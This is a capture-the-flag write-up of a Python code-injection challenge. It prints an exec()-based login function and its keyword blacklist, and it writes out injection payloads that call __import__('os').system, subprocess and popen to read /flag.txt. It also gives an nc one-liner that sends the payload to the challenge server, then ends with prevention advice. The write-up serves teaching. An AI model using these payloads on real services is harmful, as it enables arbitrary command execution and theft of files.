Published on

PCC CTF - Python Injection Challenge Writeup

Authors
  • avatar
    Name
    Muhammad Huzaifa
    Twitter

PCC CTF - Misc-inject Writeup

Challenge Description

Challenge: Misc-inject
Description: inject some adrenaline into the arena!
Format: PCC{}
Connection: nc c1.arena.airoverflow.com 29106

Flag

PCC{`B4S1C_PYTH0N_INJ3CTI0N_WOrJpbSonSN`}

Initial Analysis

The challenge provides two files:

  • inject.py - The main Python application
  • Dockerfile - Container configuration

Let's examine the Python code to understand the vulnerability.

Code Analysis

Key Functions

  1. validate_input() - Basic input validation with a blacklist
  2. authenticate_user() - Contains the vulnerable code injection point
  3. main() - Main application flow

The Vulnerability

The critical vulnerability is in the authenticate_user() function at line 86:

inject.py
def authenticate_user(username, password):
    """Authenticate user with enhanced feedback"""
    print("\nšŸ” Verifying credentials...")
    time.sleep(random.uniform(0.5, 1.5)) 
    
    passwordCorrect = False
    authenticated_user = None
    
    for user in users:
        try:
            exec('if (username == user["username"]) and ("'+password+'" == user["password"]): passwordCorrect = True; authenticated_user = user')
        except Exception as e:
            print("Authentication system error occurred!")
            print("Please try again...")
            return False, None
    
    return passwordCorrect, authenticated_user

The Problem: The password variable is directly concatenated into the exec() statement without proper sanitization or escaping. This allows for arbitrary Python code injection.

Input Validation Bypass

The validate_input() function has a blacklist that blocks certain keywords:

blacklist = ["open", "eval", "exec", "compile"]
for word in blacklist:
    if word in password.lower():
        print("Access Denied: Suspicious input detected!")
        print("Hint: Try a different approach...")
        return False

However, this blacklist can be easily bypassed using alternative methods like __import__().

Exploitation Strategy

Step 1: Understanding the Exec Statement

The exec statement structure is:

exec('if (username == user["username"]) and ("'+password+'" == user["password"]): passwordCorrect = True; authenticated_user = user')

When we inject a password, it becomes:

exec('if (username == user["username"]) and ("[INJECTED_CODE]" == user["password"]): passwordCorrect = True; authenticated_user = user')

Step 2: Crafting the Payload

To successfully exploit this, we need to:

  1. Close the string properly
  2. Inject arbitrary code
  3. Ensure the condition evaluates to True (or bypass it entirely)

Final Payload:

") or (__import__("os").system("cat /flag.txt") or True) or ("

This payload:

  • Closes the first string with "
  • Uses or to create an alternative condition
  • Executes __import__("os").system("cat /flag.txt") to read the flag
  • Uses or True to ensure the condition evaluates to True
  • Closes with another string to maintain syntax

Step 3: Bypassing the Blacklist

The blacklist blocks: open, eval, exec, compile

We bypass this by using __import__("os").system() instead of the blocked functions.

Exploitation Process

Local Testing

First, I tested the payload locally to ensure it worked:

python3 inject.py
# Input: admin
# Input: ") or (__import__("os").system("cat /flag.txt") or True) or ("

The local test showed the injection was working (though /flag.txt didn't exist locally).

Remote Exploitation

Connected to the remote server and injected the payload:

exploit.sh
echo -e "admin\n\") or (__import__(\"os\").system(\"cat /flag.txt\") or True) or (\"\n" | nc c1.arena.airoverflow.com 29106

Result: The flag was successfully extracted and displayed in the output.

Technical Details

Why This Works

  1. String Concatenation Vulnerability: The password is directly inserted into the exec statement without proper escaping
  2. Blacklist Bypass: Using __import__() instead of blocked functions
  3. Condition Manipulation: Using or logic to ensure code execution regardless of authentication success

The Exec Statement Breakdown

Original:

exec('if (username == user["username"]) and ("'+password+'" == user["password"]): passwordCorrect = True; authenticated_user = user')

With our payload:

exec('if (username == user["username"]) and ("") or (__import__("os").system("cat /flag.txt") or True) or ("" == user["password"]): passwordCorrect = True; authenticated_user = user')

This evaluates to:

if (username == user["username"]) and (False) or (True) or (False): passwordCorrect = True; authenticated_user = user

Since or True makes the entire condition True, the code executes successfully.

Prevention

To prevent this vulnerability:

  1. Never use exec() with user input
  2. Use parameterized queries/prepared statements
  3. Implement proper input validation and sanitization
  4. Use safer alternatives like ast.literal_eval() if evaluation is necessary
  5. Implement proper authentication mechanisms

Alternative Exploitation Methods

Other possible payloads:

  • ") and (__import__("subprocess").run(["cat", "/flag.txt"]) or True) and ("
  • ") or (print(open("/flag.txt").read()) or True) or (" (if blacklist didn't exist)
  • ") or (__import__("os").popen("cat /flag.txt").read()) or True) or ("

Conclusion

This challenge demonstrates a classic Python code injection vulnerability where user input is directly inserted into an exec() statement. The key lessons are:

  1. Never trust user input
  2. Blacklists are easily bypassed
  3. Use proper input validation and sanitization
  4. Avoid dangerous functions like exec() with user data

The flag PCC{B4S1C_PYTH0N_INJ3CTI0N_WOrJpbSonSN} confirms this was indeed a basic Python injection challenge.